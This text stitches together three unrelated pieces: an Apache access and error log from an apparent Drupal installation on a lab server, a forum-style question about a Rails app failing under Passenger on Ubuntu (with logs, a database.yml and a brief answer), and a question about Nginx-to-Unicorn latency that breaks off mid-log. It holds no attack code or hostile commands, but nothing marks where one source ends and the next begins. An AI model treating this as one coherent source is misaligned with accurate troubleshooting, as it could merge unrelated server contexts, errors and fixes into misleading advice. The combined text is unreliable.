AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 00:35:44.074037 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 00:35:44.075675 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
75.173.77.33 - - [07/May/2020:00:36:31 +0000] "GET / HTTP/1.1" 302 609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:35 +0000] "GET /core/install.php HTTP/1.1" 200 4289 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:32 +0000] "GET /core/install.php HTTP/1.1" 200 4290 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:42 +0000] "GET /core/misc/icons/333333/caret-down.svg HTTP/1.1" 200 490 "http://hardrock3022c.mylabserver.com/core/themes/seven/css/components/form.css?0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:42 +0000] "GET /core/misc/favicon.ico HTTP/1.1" 200 5731 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:44 +0000] "POST /core/install.php HTTP/1.1" 302 883 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:44 +0000] "GET /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 200 3135 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:45 +0000] "GET /core/misc/icons/e29700/warning.svg HTTP/1.1" 200 701 "http://hardrock3022c.mylabserver.com/core/themes/classy/css/components/messages.css?0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:47 +0000] "POST /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 302 984 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:48 +0000] "GET /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4057 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:37:51 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4459 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:38:33 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4445 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:27 +0000] "GET / HTTP/1.1" 302 609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:27 +0000] "GET /core/install.php HTTP/1.1" 200 4288 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:30 +0000] "POST /core/install.php HTTP/1.1" 302 883 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:30 +0000] "GET /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 200 3129 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:33 +0000] "POST /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 302 984 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:33 +0000] "GET /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4071 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:45:08 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4444 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
[Thu May 07 00:48:59.878165 2020] [mpm_prefork:notice] [pid 1] AH00170: caught SIGWINCH, shutting down gracefully
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 00:51:09.502463 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 00:51:09.520331 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
75.173.77.33 - - [07/May/2020:00:51:13 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4437 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:51:19 +0000] "GET /core/misc/favicon.ico HTTP/1.1" 200 5732 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:51:32 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4444 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
83.97.20.29 - - [07/May/2020:01:32:41 +0000] "GET / HTTP/1.0" 302 603 "-" "-"
[Thu May 07 02:46:16.660497 2020] [mpm_prefork:notice] [pid 1] AH00170: caught SIGWINCH, shutting down gracefully
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 04:17:22.474464 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 04:17:22.475579 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
[Thu May 07 04:18:58.323031 2020] [mpm_prefork:notice] [pid 1] AH00170: caught SIGWINCH, shutting down gracefully
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 13:38:08.126458 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 13:38:08.128021 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
75.173.77.33 - - [07/May/2020:14:07:48 +0000] "GET / HTTP/1.1" 302 609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:48 +0000] "GET /core/install.php HTTP/1.1" 200 4295 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:51 +0000] "GET /core/install.php HTTP/1.1" 200 4282 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:57 +0000] "POST /core/install.php HTTP/1.1" 302 883 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:57 +0000] "GET /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 200 3129 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:08:00 +0000] "POST /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 302 984 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:08:00 +0000] "GET /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4062 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:22:25 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4445 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:22:27 +0000] "GET /core/misc/icons/e32700/error.svg HTTP/1.1" 200 968 "http://hardrock3022c.mylabserver.com/core/themes/classy/css/components/messages.css?0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"

Deploy Ruby on Rails on Ubuntu 14.04 with Apache/Passenger

I'm trying to deploy my ruby on rails application on a DigitalOcean server. I am using Ubuntu 14.04 x64, Passenger 5.0.10 and Apache 2 to deploy. I followed this tutorial. When I try to run my application on production environment I get this error "We're sorry, but something went wrong. We've been notified about this issue and we'll take a look at it shortly." I can run on development environment.
This are the Apache 2 access.log:
"GET / HTTP/1.1" 403 495 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 495 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 495 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 495 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 495 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 495 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 495 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 403 494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 403 505 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 500 3339 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET / HTTP/1.1" 500 3339 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET / HTTP/1.1" 500 3339 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 500 3339 "http://kproxy.com/doproxy.jsp" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.8$
"GET / HTTP/1.1" 500 3339 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 500 3339 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 500 3339 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 500 3339 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 500 64889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.$
"GET / HTTP/1.1" 500 66303 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
"GET /favicon.ico HTTP/1.1" 200 295 "http://45.55.92.193/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.
This are the Apache 2 error.log:
/usr/local/lib/ruby/gems/2.2.0/gems/devise-3.5.1/lib/devise/rails.rb:14:in `block in <class:Engine>'
/usr/local/lib/ruby/gems/2.2.0/gems/activesupport-4.2.1/lib/active_support/lazy_load_hooks.rb:36:in `call'
/usr/local/lib/ruby/gems/2.2.0/gems/activesupport-4.2.1/lib/active_support/lazy_load_hooks.rb:36:in `execute_hook'
/usr/local/lib/ruby/gems/2.2.0/gems/activesupport-4.2.1/lib/active_support/lazy_load_hooks.rb:45:in `block in run_load_hooks'
/usr/local/lib/ruby/gems/2.2.0/gems/activesupport-4.2.1/lib/active_support/lazy_load_hooks.rb:44:in `each'
/usr/local/lib/ruby/gems/2.2.0/gems/activesupport-4.2.1/lib/active_support/lazy_load_hooks.rb:44:in `run_load_hooks'
/usr/local/lib/ruby/gems/2.2.0/gems/railties-4.2.1/lib/rails/application/finisher.rb:55:in `block in <module:Finisher>'
/usr/local/lib/ruby/gems/2.2.0/gems/railties-4.2.1/lib/rails/initializable.rb:30:in `instance_exec'
/usr/local/lib/ruby/gems/2.2.0/gems/railties-4.2.1/lib/rails/initializable.rb:30:in `run'
/usr/local/lib/ruby/gems/2.2.0/gems/railties-4.2.1/lib/rails/initializable.rb:55:in `block in run_initializers'
/usr/local/lib/ruby/2.2.0/tsort.rb:226:in `block in tsort_each'
/usr/local/lib/ruby/2.2.0/tsort.rb:348:in `block (2 levels) in each_strongly_connected_component'
/usr/local/lib/ruby/2.2.0/tsort.rb:429:in `each_strongly_connected_component_from'
/usr/local/lib/ruby/2.2.0/tsort.rb:347:in `block in each_strongly_connected_component'
/usr/local/lib/ruby/2.2.0/tsort.rb:345:in `each'
/usr/local/lib/ruby/2.2.0/tsort.rb:345:in `call'
/usr/local/lib/ruby/2.2.0/tsort.rb:345:in `each_strongly_connected_component'
/usr/local/lib/ruby/2.2.0/tsort.rb:224:in `tsort_each'
/usr/local/lib/ruby/2.2.0/tsort.rb:203:in `tsort_each'
/usr/local/lib/ruby/gems/2.2.0/gems/railties-4.2.1/lib/rails/initializable.rb:54:in `run_initializers'
/usr/local/lib/ruby/gems/2.2.0/gems/railties-4.2.1/lib/rails/application.rb:352:in `initialize!'
/home/rails/App/newdvp/config/environment.rb:5:in `<top (required)>'
config.ru:3:in `require'
config.ru:3:in `block in <main>'
/usr/local/lib/ruby/gems/2.2.0/gems/rack-1.6.1/lib/rack/builder.rb:55:in `instance_eval'
/usr/local/lib/ruby/gems/2.2.0/gems/rack-1.6.1/lib/rack/builder.rb:55:in `initialize'
config.ru:1:in `new'
config.ru:1:in `<main>'
/usr/local/lib/ruby/gems/2.2.0/gems/passenger-5.0.10/helper-scripts/rack-preloader.rb:107:in `eval'
/usr/local/lib/ruby/gems/2.2.0/gems/passenger-5.0.10/helper-scripts/rack-preloader.rb:107:in `preload_app'
/usr/local/lib/ruby/gems/2.2.0/gems/passenger-5.0.10/helper-scripts/rack-preloader.rb:153:in `<module:App>'
/usr/local/lib/ruby/gems/2.2.0/gems/passenger-5.0.10/helper-scripts/rack-preloader.rb:29:in `<module:PhusionPassenger>'
/usr/local/lib/ruby/gems/2.2.0/gems/passenger-5.0.10/helper-scripts/rack-preloader.rb:28:in `<main>'
[ 2015-06-16 02:34:33.2422 9276/7f74f0b2e700
age/Hel/Req/CheckoutSession.cpp:252 ]: [Client 1-5]
Cannot checkout session because a spawning error occurred.
The identifier of the error is 74aaa4d4. Please see ear$
My database.yml:
development:
adapter: postgresql
encoding: unicode
database: dvp_development
pool: 5
username: rails
password:
host: localhost
test:
adapter: postgresql
encoding: unicode
database: dvp_development
pool: 5
username:
password:
production:
adapter: postgresql
encoding: unicode
database: dvp_development
pool: 5
username: rails
password:
host: localhost
You can add the following option to your apache virtual host :
PassengerFriendlyErrorPages on
It permits apache/passenger to display a friendly error page. Hope it will help.

Big delay while processing HTTP request from NGINX to Unicorn (AngularJS to Rails API) only in Chrome

I have an AngularJS front-end that sends requests to a Rails API back-end application. The AngularJS front-end is running in a NGINX server. The Rails API is running in an Unicorn server.
Generally, they are working fine together, but in one case. When I first load the home page most of the times (but not always) there is a big delay (around 12 seconds to process the request to Rails). I´m not sure, but my guess is this is only happening for the first request from Nginx to Unicorn.
This is a big issue for me, because when a user request the home page for first time, the page is loaded and displayed quite fast (it takes around 2 secs to display all components), however, the user has to wait around these 12 seconds, until the combo boxes are loaded with data coming from the backend.
I have no idea about server configuration. I´m just a developer. I tried to debug the request and try to figure out where the bottleneck is, but I don´t find anything.
Please, find my NGINX access.log logs:
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/bootstrap.min.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/bootstrap-responsive.min.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /dist/css/yanpy.min.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/icons.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/menus.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/join-us.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/font-awesome.min.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
127.0.0.1 - - [12/Nov/2014:19:33:45 +0100] "GET /css/font-awesome-ie7.min.css HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36"
